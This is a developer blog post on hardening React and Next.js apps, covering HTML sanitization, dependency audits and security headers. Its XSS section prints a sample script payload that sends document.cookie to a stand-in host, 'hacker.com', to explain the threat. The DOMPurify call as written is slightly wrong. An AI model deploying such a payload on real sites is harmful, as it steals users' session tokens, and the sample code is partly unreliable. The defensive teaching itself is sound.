Secure your ReactJS app

11 months ago
|
0 views

TL;DR:

  • Sanitize HTML content.
  • Keep your dependencies updated.
  • Set the right security HTTP Headers.

Security is always a top priority for any application. In this article, we will discuss how to secure your React app.

React's dangerouslySetInnerHTML

When you first start learning React and discover that there is a prop called dangerouslySetInnerHTML, you might wonder, "If it's dangerous, why is it there?" In the end, since you want to render HTML content from a string, you will use it anyway.

<div dangerouslySetInnerHTML={{ __html: '<h1>Hello, <b>World</b></h1>' }} />;

The result will be:

<div>
  <h1>Hello, <b>World</b></h1>
</div>

But as you gain more experience with React, you will know that the React team deliberately named it with a dangerously prefix to ensure you know what you are doing. As always, the React docs did a great job explaining it.

It is a feature designed to improve the security of your React app. However, it is not enough; there are other measures you need to take to protect your app from common web hacking techniques.

Sanitize HTML Content

The infamous XSS attack allows an attacker to inject malicious scripts into web pages viewed by other users.

In React, HTML strings are rendered as plain text by default as an intentional security feature that helps prevent such attacks. But when you need to render HTML from a string, you must use the dangerouslySetInnerHTML prop – and then the rest is up to you.

This is a component that renders blog content you fetch from an API:

function BlogContent() {
  const [content, setContent] = useState('');
 
  useEffect(() => {
    fetch('https://someApi.xyz/blog/1')
      .then((response) => response.json()) 
      .then((data) => {
        // data = { content: '<h1>Hello, <b>World</b></h1>' }
        setContent(data.content); 
      });
  }, []);
 
  return <div dangerouslySetInnerHTML={{ __html: content }} />;
}

But if a hacker compromises the API and changes the response to:

{ 
  "content": "<script>\n  fetch('https://hacker.com/stealCookies?cookie=' + document.cookie);\n</script>" 
}

Now, each time a user visits your blog, the hacker will receive the user's cookies—which might contain sensitive information such as session or authentication tokens!

The solution is that you must sanitize the HTML content before rendering it. The most popular library for this purpose is DOMPurify.

The rendering now looks like this:

import DOMPurify from 'dompurify';
// This will do the job
<div dangerouslySetInnerHTML={{ __html: DOMPurify(content) }} />;

Keep Dependencies Updated

You will suprise how many vulnerabilities in your project dependencies. We npm i <package> without thinking about the security of the package and that is a gold mine for hackers.

Do you remember annoying github bot notifications about your project dependencies? That's because they are outdated and have known vulnerabilities.

Run npm audit to see a list of known vulnerabilities in your project's dependencies. The output will look like this:

Ideadly we will fix all of them, but in reality, we really need to focus on upgrade the Severity: high vulnerabilities first.

Some vulnerabilities support auto fix by run npm audit fix. But some of them need to be fixed manually.

If you're using Github, I highly recommend to not ignore Dependabot anymore and let it do the job for you.

HTTP Security Headers

A lot of attacks can be prevented by setting the right security HTTP Headers.

In NextJS, you can set the security headers by modify next.config.js:

module.exports = {
  // ... your other config
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'header-name',
            value: 'header-value',
          },
          // other header object
        ],
      },
    ];
  },
};

Or you can use an external library like next-secure-headers to do the job for you.

Also, their is a awesome tool that you should use to check your site's security headers: securityheaders.com

Content-Security-Policy

Content Security Policy (CSP) is important to guard your application against various security threats such as cross-site scripting (XSS), clickjacking, and other code injection attacks.

NextJS have a great doc to explain how to set it up and handle some edge case for it. I highly recommend to read it.

X-Frame-Options

Prevent ClickJacking by not allowing your site to be embedded in an iframe.

If you don't want your site to be embedded in an iframe at all, you can just set the X-Frame-Options header to DENY. Otherwise you can set it to SAMEORIGIN to if you want to allow your site to be embedded in an iframe from the same origin.

{
  key: 'X-Frame-Options',
  value: 'DENY',
}

X-XSS-Protection

This header enables the Cross-site scripting (XSS) filter in the browser. The browser will prevent the page from loading when it detects reflected cross-site scripting attacks.

{
  key: 'X-XSS-Protection',
  value: '1; mode=block',
}

Futher reading